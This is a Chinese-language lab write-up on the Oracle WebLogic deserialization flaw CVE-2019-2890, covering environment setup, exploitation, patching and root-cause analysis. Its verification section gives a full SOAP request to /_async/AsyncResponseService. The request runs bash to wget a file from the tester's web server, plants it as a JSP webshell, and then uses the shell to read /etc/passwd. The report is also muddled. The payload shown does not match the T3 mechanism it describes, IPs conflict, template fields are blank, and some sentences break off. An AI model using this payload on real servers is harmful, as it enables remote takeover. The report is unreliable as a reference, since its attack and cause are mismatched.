Oracle WebLogic Server漏洞研究报告
一、漏洞信息搜集
1.1 漏洞信息表
漏洞名称 | Oracle WebLogic Server 反序列化漏洞 |
发布时间 | 2019年10月16日 |
漏洞编号 | CVE-2019-2890 |
威胁类型 | 反序列化漏洞 |
危害级别 | 高危 |
影响版本 | Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版本 |
漏洞描述 | 产品介绍:Oracle WebLogic Server是一款企业级的Java应用服务器,它作为Oracle Fusion Middleware产品套件的一部分,提供了强大的功能和性能,可用于构建、部署和管理大规模的Java应用和服务。 漏洞概述:该漏洞存在于Oracle WebLogic Server的WLS组件中,攻击者可以通过向服务器发送恶意构造的T3协议请求来触发漏洞,导致执行任意代码。 危害说明:获取系统敏感信息,篡改或删除数据,外部代码执行 |
漏洞指纹 | 常用端口/协议:7001端口/T3协议 请求参数/关键路径(漏洞入口): |
漏洞验证与利用 | POC: EXP: 集成工具: |
修复建议 | 正式修复方案: 临时修复方案: |
参考链接 | 文章标题:链接 |
二、漏洞快速验证
2.1 漏洞靶机搭建
测试环境版本:WebLogic Server 10.3.6.0
方法一:使用vulhub搭建漏洞环境
1.安装docker和docker-compose
sudo apt-get install docker
sudo apt-get install python3-pip
pip3 install docker-compose
2.下载vulhub开源靶场
git clone https://github.com/vulhub/vulhub.git
3.搭建CVE-2019-2890 漏洞环境
直接利用vulhub的漏洞,进入相应目录
访问http://192.168.1.124:7001/console/login/LoginForm.jsp
搭建成功
2.2 POC漏洞验证
判断是否存在漏洞http://192.168.1.24:7001/_async/AsyncResponseService
在当前文件所在目录用python开启web服务,命令:python3 -m http.server 11111
创建shell.txt文件
访问web服务
访问1.124:7001/_async/AsyncResponseService,截取数据包
将以下数据包,替换BP截取的数据包
POST /_async/AsyncResponseService HTTP/1.1
Host: you ip:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 858
content-type: text/xml
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://web服务ip:端口/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
访问shell
http://192.168.1.124:7001/_async/shell.jsp?pwd=123&cmd=cat/etc/passwd
三、漏洞利用实践
EXP 1:
https://github.com/l1nk3rlin/CVE-2019-2890
导入jar
在响应中看到了返回的xml数据以及整个处理过程的调用栈
可以看到处理过程最后调用了java.beans.XMLDecoder方法,该方法用于将XML数据反序列化为java对象,这里造成了无回显的命令执行
重写PersistenContext类
因为需要用到
在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。
绕过它,直接它注释掉。
反序列化过程中有个解密过程,所以必须先加密,加密过程有个KernelStatus.isServer()的判断。
我们再次检查writeSubject函数,序列化时加密没有成功,跟进加密函数
修改writeSubject()函数,但由于getEncryptionService属性为private,需再新建EncryptionUtil.class文件,并且getEncryptionService()函数属性改成public:
在
最后测试发送exp即可
漏洞修复实践
4.1 修复方案
1:临时解决方案根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
2.禁用 T3 协议:如果您不依赖 T3 协议进行JVM通信,可通过暂时阻断 T3 协议缓解此漏洞带来的影响。
4.2 修复方案:标准解决方案
官方补丁修复前往Oracle官网下载10月份所提供的安全补丁。
https://www.oracle.com/security-alerts/cpuoct2019.html
五、漏洞原理分析
漏洞原理分析
漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。
查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。
漏洞修复分析
更新补丁:Oracle已针对CVE-2019-2890漏洞发布了补丁,用户应及时下载并安装相关补丁。这些补丁会修复存在漏洞的WebLogic Server版本中的安全问题。
升级至受影响版本之外:如果已知的WebLogic Server版本存在固有的漏洞,而补丁尚未提供或不可行,建议用户升级至不受漏洞影响的最新版本或已修复版本。升级到较新的版本可以提供更多安全性和稳定性的增强。
配置网络访问控制:网络访问控制是一种有效的安全措施,可以限制对受影响WebLogic Server实例的访问。使用防火墙或网络级别的访问控制列表(ACL)可以限制对服务器的公开访问,并允许只有授权的用户或IP地址可以访问。
关闭不必要的服务和组件:根据实际需求,可以考虑关闭或禁用不必要的服务和组件,以减少潜在的攻击面。只开放需要公开访问的服务,并限制来自外部网络的流量。
加强身份验证和授权措施:确保正确配置和使用WebLogic Server中提供的身份验证和授权机制。强制要求用户使用强密码,并使用多因素身份验证等安全性增强功能。
持续监控和漏洞管理:定期检查相关漏洞公告和安全通知,保持对已知漏洞的感知。同时,建立漏洞管理流程,及时应用补丁和修复措施,并进行系统审计和漏洞扫描,以保持基础设施的安全性。